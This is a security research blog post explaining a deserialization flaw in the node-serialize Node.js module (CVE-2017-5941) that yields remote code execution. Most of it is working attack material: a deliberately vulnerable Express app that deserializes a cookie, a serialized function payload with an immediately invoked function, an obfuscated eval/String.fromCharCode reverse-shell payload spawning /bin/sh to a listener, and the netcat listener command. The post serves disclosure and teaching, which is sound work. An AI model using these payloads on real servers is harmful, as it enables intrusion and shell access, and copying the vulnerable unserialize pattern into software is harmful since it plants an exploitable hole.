Exploiting deserialization bugs in Node.js modules for Remote Code Execution

Posted by Ajin Abraham on Feb 8 2017

TL;DR

Untrusted data passed into unserialize() function in node-serialize module can be exploited to achieve arbitrary code execution by passing a serialized JavaScript Object with an Immediately invoked function expression (IIFE).

The Bug

During a Node.js code review, I happen to see a serialization/deserialization module named node-serialize. A cookie value that comes from the request was passed into the unserialize() function provided by the module. Here is a sample node.js application to imitate the code:

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);

Java, PHP, Ruby and Python have a fair share of Deserialization bugs. Some resources explaining these issues:

Understanding PHP Object Injection
Java Deserialization Cheat Sheet
Rails Remote Code Execution Vulnerability Explained
Arbitrary code execution with Python pickles

However I couldn’t find any resource that explained deserialization/object injection bugs in Node.js. I thought to do some research on this and after spending some time I was able to exploit a deserialization bug to achieve arbitrary code injection.

Building the Payload

I have used node-serialize version 0.0.4 for this research. For successful exploitation, arbitrary code execution should occur when untrusted input is passed into unserialize() function. The best way to create a payload is to use the serialize() function of the same module.

I created the following JavaScript object and passed it to serialize() function.

var y = {
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

Which gives the following output.

Now we have a serialized string that can be deserialized with unserialize() function. But the problem is code execution won’t happen until you trigger the function corresponding to the rce property of the object.

Later I figured out that we can use JavaScript’s Immediately invoked function expression (IIFE) for calling the function. If we use IIFE bracket ()after the function body, the function will get invoked when the object is created. It works similar to a Class constructor in C++.

 Now the serialize() function with the modified object code is called. 

var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

The following output was obtained

The IIFE worked fine but the serialization failed. So I tried adding bracket () after the function body of the previously serialized string and passed it to unserialize() function and lucky it worked. So we have the exploit payload:

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }()"}

Passing it to unserialize() function will result in code execution.

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

Now we know that we can exploit unserialize()function in node-serialize module, if untrusted data passed into it. Let’s exploit the vulnerability in the web application to spawn a reverse shell.

Further Exploitation

The vulnerability in the web application is that it reads a cookie named profile from the HTTP request, perform base64 decode of the cookie value and pass it to unserialize()function. As cookie is an untrusted input, an attacker can craft malicious cookie value to exploit this vulnerability.

I used nodejsshell.py for generating a reverse shell payload.

$ python nodejsshell.py 127.0.0.1 1337

[+] LHOST = 127.0.0.1

[+] LPORT = 1337

[+] Encoding

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

Now let’s generate the serialized payload and add IIFE brackets () after the function body.

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

We need to perform Base64 encode of the same, and then make a request to the web server with encoded payload in the Cookie header.

We can now listen for a shell nc -l 127.0.0.1 1337

And now we have a reverse shell!

Exploitation Video

Final Thoughts

We exploited a deserialization bug to achieve arbitrary code execution with untrusted user input. The Rule of thumb is never to deserialize untrusted user input. The root cause is that it was using eval() internally for deserialization. I also found a similar bug in another module named serialize-to-js. In that module, the require() function in Node.js has no scope during deserialization of an object with IIFE and they were using new Function() internally for deserialization. We can still achieve code execution with a slightly complex payload.

Update

Deserialization bug in node-serialize function is assigned CVE-2017-5941 Deserialization bug in serialize-to-js function is assigned CVE-2017-5954


  • Tags: 
  • deserialization in node.js
  • node.js deserialization bug
  • object injection in node.js

Ajin Abraham

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Ajin Abraham is a Security Engineer with 7+ years of experience in Application Security including 4 years of Security Research. He is passionate on developing new and unique security tools. Some of his contributions to Hacker's arsenal include OWASP Xenotix XSS Exploit Framework, Mobile Security Framework (MobSF), Xenotix xBOT, NodeJsScan etc to name a few. He has been invited to speak at multiple security conferences including ClubHack, Nullcon, OWASP AppSec Eu, OWASP AppSec AsiaPac, BlackHat Europe, Hackmiami, Confidence, BlackHat US, BlackHat Asia, ToorCon, Ground Zero Summit, Hack In Paris, Hack In the Box, c0c0n and PHDays.